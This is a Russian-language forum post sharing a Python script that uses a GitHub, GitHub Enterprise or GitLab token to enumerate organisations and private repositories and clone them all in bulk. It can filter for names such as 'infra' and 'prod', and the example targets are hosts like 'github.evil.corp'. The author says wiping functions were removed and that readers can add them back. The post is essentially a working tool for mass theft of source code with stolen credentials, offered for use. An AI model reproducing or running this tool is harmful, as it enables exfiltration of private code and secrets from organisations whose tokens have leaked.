Писал для себя, функции затирания и т.д убрал. Кому нужно сделают себе)
Просто сдампить гит:
Сдампить gitlab:
Сдампить Github Enterprise:
По факту вместо True что угодно)
==== UPD Sep 26: подправил работу с Enterprise; оптимизация
Просто сдампить гит:
pgit --token=ghp_KEYKEYKEYKEYKEY --project=SomeProjectСдампить gitlab:
pgit --token=KEYKEYKEYKEYKEY --project=SomeProject --domain=gitlab.evil.corpСдампить Github Enterprise:
pgit --token=ghp_KEYKEYKEYKEYKEY --project=SomeProject --domain=github.evil.corp --enterprise=TrueПо факту вместо True что угодно)
Python:
from os import makedirs, rmdir, system, listdir
from os.path import exists
from sys import argv
from requests import get as GETReq
class GitDump:
def __init__(
self, token: str, project: str, search: str, user: str, domain: str,
enterprise: bool = False
) -> None:
assert token, "You not provided the token"
assert project, "Expected project dir name"
assert (enterprise and domain != 'api.github.com') or \
(not enterprise and domain), "If it's Enterprise set domain"
self.already_done = []
self.save_path: str = project
self.search: list = search.split(',')
self.url: str = domain
self.params = {
'page': 0,
'per_page': '100'
}
if token.startswith('ghp_') or token.startswith('gho_'):
print('[+] GitHub detected')
self.path = '/user/repos' if not enterprise else '/api/v3/'
self.params.update({
'type': 'private',
'sort': 'updated'
})
self.headers = {
'Authorization': f'token {token}'
}
self.variables = {
'must_be_in_aswer': 'full_name',
'repo_name_in': 'full_name'
}
if enterprise:
self.params['type'] = 'all'
self.params.pop('type')
else:
domain = 'github.com'
else: # gitlab
print('[+] Gitlab detecteds')
self.path = '/api/v4/projects'
self.headers = {
'PRIVATE-TOKEN': token
}
self.variables = {
'must_be_in_aswer': 'web_url',
'repo_name_in': 'path_with_namespace'
}
self.git_cmd = f"git clone https://{user}:{token}@{domain}//NAME NAME2" # noqa
def __search_check(self) -> bool:
for allowed in self.search:
if allowed in pname:
return True
return False
def __executor(self, answer: list) -> None:
for repo in answer:
if not isinstance(repo, dict) or \
not repo.get(self.variables['must_be_in_aswer'], None):
continue
name = str(repo.get(
self.variables['repo_name_in'], ''
)).encode('utf-8', 'ignore').strip().decode()
if not name or name in self.already_done:
continue
self.already_done.append(name)
path = f"./{self.save_path}/{name}"
*fpath, pname = path.split('/')
if self.search != [''] and not self.__search_check():
continue
if exists(path+'/.git'):
print('[!] We already have:', path)
system(f'cd {path} && git reset --hard && git pull')
continue
elif exists(path):
if len(listdir(path)) <= 0:
rmdir(path)
elif not exists(path):
makedirs('/'.join(fpath), exist_ok=True)
print('[+] Downloading:', path)
system(
self.git_cmd
.replace('/NAME', name)
.replace('NAME2', path)
)
def dump_enterprise(self) -> None:
orgs_list = []
since = 0
print('[!] Parsing orgs...')
while True:
orgs_ids = []
try:
orgs = GETReq(
f'https://{self.url}{self.path}organizations',
params={'since': since}, headers=self.headers
).json()
if not isinstance(orgs, list):
break
elif not orgs or orgs == []:
break
for org in orgs:
orgs_list.append(org.get('login', ''))
orgs_ids.append(int(org.get('id', 1)))
since = max(orgs_ids)
except Exception:
pass
print(f'[+] Orgs parsed! Total: {len(orgs_list)}; List: {orgs_list}')
for org in orgs_list:
self.params['page'] = 0
print('[+] Dumping org:', org)
while True:
try:
answer = GETReq(
f'https://{self.url}{self.path}orgs/{org}/repos',
params=self.params, headers=self.headers
).json()
if not isinstance(answer, list) or answer == []:
print('[!] Empty resp; Maybe done?')
break
print('[!] Page:', self.params['page'])
self.__executor(answer)
self.params['page'] += 1
except Exception as e:
print('Error:', e)
def dump_usual(self) -> None:
while True:
try:
answer = GETReq(
f'https://{self.url}{self.path}',
params=self.params, headers=self.headers
).json()
except Exception as e:
print('[?] Error when fetch:', e)
break
if not isinstance(answer, list) or answer == []:
print('[+] Nothing in answer. Stop...')
break
print('[!] Page:', self.params['page'])
self.params['page'] += 1
self.__executor(answer)
def clean_arg(arg: str, split_value: str) -> str:
arg = arg.split(f'--{split_value}=', 1)[1]
if arg.startswith('"') and arg.endswith('"'):
arg = arg[1:-1]
return arg
def main() -> None:
if len(argv) < 3 or len(argv) > 6:
print(
'python3 main.py\\\n' +
' --token="ghp_/shja- (required)"\\\n' +
' --project="Project Name (required)"\\\n' +
' --domain="ex. git.evil.company (for Git(lab/hub) Enterprise)"\\\n' +
' --user="custom user (default: oauth2)"\\\n' +
' --search="infra,prod" (dump if keyword in repo name)\\\n' +
' --enterprise=True (just flag for Github Enterprise)'
)
exit(0)
params = {
'token': None,
'project': None,
'user': 'oauth2',
'domain': 'api.github.com',
'search': '',
'enterprise': False
}
for arg in argv:
for key in params.keys():
if arg.startswith(f'--{key}', None):
params[key] = clean_arg(arg, key)
break
git = GitDump(**params)
git.dump_enterprise() if params['enterprise'] else git.dump_usual()
if __name__ == "__main__":
main()==== UPD Sep 26: подправил работу с Enterprise; оптимизация
Последнее редактирование:
